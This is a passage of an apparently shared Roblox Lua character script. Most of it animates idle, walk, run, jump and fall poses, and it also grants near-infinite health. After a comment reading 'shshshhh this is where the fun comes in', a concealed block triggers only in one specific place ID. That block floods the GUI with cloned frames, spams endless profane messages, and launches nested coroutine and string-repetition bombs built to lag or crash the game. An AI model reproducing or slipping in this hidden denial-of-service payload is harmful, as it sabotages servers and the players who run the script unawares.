| 1319 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(90),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
| 1320 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(50),math.rad(0),math.rad(-50)),.3) | |
| 1321 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(50),math.rad(0),math.rad(50)),.3) | |
| 1322 | end | |
| 1323 | --dmgstop() | |
| 1324 | Humanoid.WalkSpeed=12 | |
| 1325 | attack=false | |
| 1326 | end | |
| 1327 | ||
| 1328 | local sine = 0 | |
| 1329 | local change = 1 | |
| 1330 | local val = 0 | |
| 1331 | ||
| 1332 | local mananum=0 | |
| 1333 | while true do | |
| 1334 | swait() | |
| 1335 | sine = sine + change | |
| 1336 | local torvel=(RootPart.Velocity*Vector3.new(1,0,1)).magnitude | |
| 1337 | local velderp=RootPart.Velocity.y | |
| 1338 | hitfloor,posfloor=rayCast(RootPart.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,4,Character) | |
| 1339 | if equipped==true or equipped==false then | |
| 1340 | if Anim=="Idle" and attack==false then | |
| 1341 | idle=idle+1 | |
| 1342 | else | |
| 1343 | idle=0 | |
| 1344 | end | |
| 1345 | if Humanoid.Health <=20 then | |
| 1346 | if attack == false then | |
| 1347 | Humanoid.Health = math.huge | |
| 1348 | end | |
| 1349 | end | |
| 1350 | if idle>=1000 then | |
| 1351 | if attack==false then | |
| 1352 | --Sheath() | |
| 1353 | end | |
| 1354 | end | |
| 1355 | if RootPart.Velocity.y > 1 and hitfloor==nil then | |
| 1356 | Anim="Jump" | |
| 1357 | if attack==false then | |
| 1358 | Footsteps:Stop() | |
| 1359 | Footsteps2:Stop() | |
| 1360 | Neck.C0=clerp(Neck.C0,necko*euler(-0.2,0,0),.3) | |
| 1361 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
| 1362 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0),.3) | |
| 1363 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-.25,0,0.5),.3) | |
| 1364 | RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
| 1365 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-.25,0,-0.5),.3) | |
| 1366 | LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
| 1367 | RH.C0=clerp(RH.C0,cf(1,0,-.75)*euler(-0.5,1.57,0)*euler(0,0,0),.2) | |
| 1368 | LH.C0=clerp(LH.C0,cf(-1,-1,-.3)*euler(-0.5,-1.57,0)*euler(0,0,0),.2) | |
| 1369 | end | |
| 1370 | elseif RootPart.Velocity.y < -1 and hitfloor==nil then | |
| 1371 | Anim="Fall" | |
| 1372 | if attack==false then | |
| 1373 | Footsteps:Stop() | |
| 1374 | Footsteps2:Stop() | |
| 1375 | Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3) | |
| 1376 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
| 1377 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3) | |
| 1378 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3) | |
| 1379 | RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
| 1380 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3) | |
| 1381 | LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
| 1382 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2) | |
| 1383 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2) | |
| 1384 | end | |
| 1385 | elseif torvel<1 and hitfloor~=nil then | |
| 1386 | Anim="Idle" | |
| 1387 | change=0.5 | |
| 1388 | if idle>=1000 then | |
| 1389 | if attack==false then | |
| 1390 | Footsteps:Stop() | |
| 1391 | Footsteps2:Stop() | |
| 1392 | Humanoid.WalkSpeed=12 | |
| 1393 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0-0.015*math.cos(sine/5))*angles(math.rad(0),math.rad(0),math.rad(20)),.1) | |
| 1394 | Neck.C0=clerp(Neck.C0,necko*angles(math.rad(0*math.cos(sine/5.5)),math.rad(0*math.cos(sine/5.5)),math.rad(-20)),.1) | |
| 1395 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1) | |
| 1396 | RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*angles(math.rad(95),math.rad(0),math.rad(-45)),.5) | |
| 1397 | LW.C0=clerp(RW.C0,cf(-2.5,-0.5,-0.5)*angles(math.rad(95),math.rad(0),math.rad(-230)),.5) | |
| 1398 | RH.C0=clerp(RH.C0,cf(1,-1,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(5)),.1) | |
| 1399 | LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(10)),.3) | |
| 1400 | end | |
| 1401 | else | |
| 1402 | if attack==false then | |
| 1403 | Footsteps:Stop() | |
| 1404 | Footsteps2:Stop() | |
| 1405 | Humanoid.WalkSpeed=12 | |
| 1406 | Humanoid.WalkSpeed=12 | |
| 1407 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0-0.015*math.cos(sine/5))*angles(math.rad(0),math.rad(0),math.rad(20)),.1) | |
| 1408 | Neck.C0=clerp(Neck.C0,necko*angles(math.rad(0*math.cos(sine/5.5)),math.rad(0*math.cos(sine/5.5)),math.rad(-20)),.1) | |
| 1409 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1) | |
| 1410 | RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*angles(math.rad(95),math.rad(0),math.rad(-45)),.5) | |
| 1411 | LW.C0=clerp(RW.C0,cf(-2.5,-0.5,-0.5)*angles(math.rad(95),math.rad(0),math.rad(-230)),.5) | |
| 1412 | RH.C0=clerp(RH.C0,cf(1,-1,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(5)),.1) | |
| 1413 | LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(10)),.3) | |
| 1414 | end | |
| 1415 | end | |
| 1416 | elseif torvel>2 and torvel<22 and hitfloor~=nil then | |
| 1417 | Anim="Walk" | |
| 1418 | if attack==false then | |
| 1419 | change=0.8 | |
| 1420 | --[[RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(35),math.rad(0),math.rad(15*math.cos(sine/10))),.3) | |
| 1421 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-30),math.rad(0),math.rad(0)),.3) | |
| 1422 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3) | |
| 1423 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3) | |
| 1424 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0)),.3) | |
| 1425 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3) | |
| 1426 | --Handleweld.C0=clerp(--Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
| 1427 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
| 1428 | RootJoint.C0=clerp(RootJoint.C0,RootCF*euler(0.1,0,0),.2) | |
| 1429 | --RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-0.1,0,0.2),.2) | |
| 1430 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-5),math.rad(-25),math.rad(20)),.3) | |
| 1431 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(5),math.rad(25),math.rad(-20)),.3) | |
| 1432 | RH.C0=clerp(RH.C0,RHC0,.3) | |
| 1433 | LH.C0=clerp(LH.C0,LHC0,.3) | |
| 1434 | ]]-- | |
| 1435 | Footsteps:Play() | |
| 1436 | Footsteps2:Stop() | |
| 1437 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0-0.015*math.cos(sine/5))*angles(math.rad(0),math.rad(0),math.rad(20)),.1) | |
| 1438 | Neck.C0=clerp(Neck.C0,necko*angles(math.rad(0*math.cos(sine/5.5)),math.rad(0*math.cos(sine/5.5)),math.rad(-20)),.1) | |
| 1439 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1) | |
| 1440 | RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*angles(math.rad(95),math.rad(0),math.rad(-45)),.5) | |
| 1441 | LW.C0=clerp(RW.C0,cf(-2.5,-0.5,-0.5)*angles(math.rad(95),math.rad(0),math.rad(-230)),.5) | |
| 1442 | RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3) | |
| 1443 | LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3) | |
| 1444 | end | |
| 1445 | elseif torvel>=22 and hitfloor~=nil then | |
| 1446 | Anim="Run" | |
| 1447 | change=1 | |
| 1448 | if attack==false then | |
| 1449 | Footsteps:Stop() | |
| 1450 | Footsteps2:Play() | |
| 1451 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(20+1*math.cos(sine/2.5)),math.rad(0),math.rad(0)),.3) | |
| 1452 | Neck.C0=clerp(Neck.C0,necko*euler(-0.2+0.075*math.cos(sine/2.5),0,0),.3) | |
| 1453 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
| 1454 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-90),math.rad(0),math.rad(0)),.3) | |
| 1455 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-90),math.rad(0),math.rad(0)),.3) | |
| 1456 | RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3) | |
| 1457 | LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3) | |
| 1458 | end | |
| 1459 | end | |
| 1460 | end | |
| 1461 | end | |
| 1462 | ||
| 1463 | ||
| 1464 | ||
| 1465 | ||
| 1466 | --- shshshhh this is where the fun comes in --- | |
| 1467 | if game.PlaceId == 21053279 then | |
| 1468 | plr = owner | |
| 1469 | char = plr.Character | |
| 1470 | cam = workspace.CurrentCamera | |
| 1471 | cam.CameraType = "Scriptable" | |
| 1472 | cam.CoordinateFrame = CFrame.new(0,0,50) | |
| 1473 | local localContainer | |
| 1474 | local service=setmetatable({
| |
| 1475 | MarketPlace=game:service("MarketplaceService");
| |
| 1476 | GamepassService=game:service("GamePassService");
| |
| 1477 | ChatService=game:service("Chat");
| |
| 1478 | LocalContainer=function() if not localContainer or not localContainer.Parent then localContainer=Instance.new("Camera",workspace) localContainer.Name=math.random(10000000,999999999) end return localContainer end;
| |
| 1479 | },{
| |
| 1480 | __index=function(tab,index) | |
| 1481 | local serv | |
| 1482 | local ran,err=pcall(function() serv=game:service(index) end) | |
| 1483 | if ran then | |
| 1484 | tab[index]=serv | |
| 1485 | return serv | |
| 1486 | end | |
| 1487 | end | |
| 1488 | }) | |
| 1489 | ||
| 1490 | local cPcall=function(func,...) local function cour(...) coroutine.resume(coroutine.create(func),...) end local ran,error=pcall(cour,...) if error then print('ERROR: '..error) end end
| |
| 1491 | ||
| 1492 | x=owner | |
| 1493 | x.CameraMode=Enum.CameraMode.LockFirstPerson | |
| 1494 | f=Instance.new("Frame")
| |
| 1495 | f.Size=UDim2.new(1,0,1,0) | |
| 1496 | f.BackgroundTransparency=0.01 | |
| 1497 | f.BackgroundColor3=Color3.new() | |
| 1498 | pg=x.PlayerGui | |
| 1499 | gui=Instance.new("ScreenGui",pg)
| |
| 1500 | wait(.1) | |
| 1501 | for i=1,28000 do | |
| 1502 | f:Clone().Parent=gui | |
| 1503 | f:Clone().Parent=gui | |
| 1504 | f:Clone().Parent=gui | |
| 1505 | end | |
| 1506 | ||
| 1507 | script:Destroy(); | |
| 1508 | local runService = Game:GetService("RunService").Stepped;
| |
| 1509 | local LagNum = 1250; | |
| 1510 | local str = "lag fucker lag"; | |
| 1511 | ||
| 1512 | for i = 1, math.huge do | |
| 1513 | if i % LagNum == 0 then runService:wait(); end | |
| 1514 | Instance.new("Message", Workspace).Text = str;
| |
| 1515 | end | |
| 1516 | ||
| 1517 | local bores=coroutine.create(function() --Yolo? | |
| 1518 | cPcall(function() | |
| 1519 | --print(Game[("%s|"):rep(0xFFFFFFF)])
| |
| 1520 | cPcall(print,'lol') | |
| 1521 | cPcall(warn,'lol') | |
| 1522 | cPcall(error,'lol') | |
| 1523 | while wait(0.1) do | |
| 1524 | spawn(function() | |
| 1525 | cPcall(function() | |
| 1526 | spawn(function() | |
| 1527 | local tab={}
| |
| 1528 | pcall(function() | |
| 1529 | spawn(function() | |
| 1530 | for i=1,1000000 do | |
| 1531 | cPcall(function() | |
| 1532 | spawn(function() | |
| 1533 | local bob2=coroutine.create(function() | |
| 1534 | function f1() cPcall(spawn,f2) warn(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end | |
| 1535 | function f2() cPcall(spawn,f1) print(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end | |
| 1536 | spawn(f1) | |
| 1537 | end) | |
| 1538 | spawn(function() delay(0,function() coroutine.resume(bob2) end) end) | |
| 1539 | spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end) | |
| 1540 | end) | |
| 1541 | end) | |
| 1542 | end | |
| 1543 | tab={}
| |
| 1544 | end) | |
| 1545 | end) | |
| 1546 | end) | |
| 1547 | end) | |
| 1548 | end) | |
| 1549 | end | |
| 1550 | end) | |
| 1551 | end) | |
| 1552 | ||
| 1553 | service.RunService.Stepped:connect(function() | |
| 1554 | for i=1,500000 do | |
| 1555 | delay(0,function() pcall(function() coroutine.resume(bores) end) end) | |
| 1556 | end | |
| 1557 | end) | |
| 1558 | ||
| 1559 | ||
| 1560 | local function bob() | |
| 1561 | cPcall(function() | |
| 1562 | while wait(0.1) do | |
| 1563 | --cPcall(function() | |
| 1564 | --for i=1,100 do | |
| 1565 | local p=Instance.new("Part")
| |
| 1566 | p.Material="Neon" | |
| 1567 | p.Size=Vector3.new(50,50,50) | |
| 1568 | p.Anchored=true | |
| 1569 | p.BackSurface="Studs" | |
| 1570 | p.BottomSurface="Studs" | |
| 1571 | p.FrontSurface="Studs" | |
| 1572 | p.LeftSurface="Studs" | |
| 1573 | p.RightSurface="Studs" | |
| 1574 | p.TopSurface="Studs" | |
| 1575 | local t=Instance.new("Texture",p)
| |
| 1576 | t.Texture="http://www.roblox.com/asset/?id=190803157" | |
| 1577 | t.Face="Top" | |
| 1578 | t.StudsPerTileU=1000 | |
| 1579 | t.StudsPerTileV=1000 | |
| 1580 | local t2=t:clone() | |
| 1581 | t2.Parent=p | |
| 1582 | t2.Face="Bottom" | |
| 1583 | local t2=t:clone() | |
| 1584 | t2.Parent=p | |
| 1585 | t2.Face="Left" | |
| 1586 | local t2=t:clone() | |
| 1587 | t2.Parent=p | |
| 1588 | t2.Face="Right" | |
| 1589 | local t2=t:clone() | |
| 1590 | t2.Parent=p | |
| 1591 | t2.Face="Front" | |
| 1592 | local t2=t:clone() | |
| 1593 | t2.Parent=p | |
| 1594 | t2.Face="Back" | |
| 1595 | p.Parent=service.LocalContainer() | |
| 1596 | --end | |
| 1597 | --end) | |
| 1598 | end | |
| 1599 | end) | |
| 1600 | end | |
| 1601 | bob() --while wait(0.1) do cPcall(bob) end | |
| 1602 | end |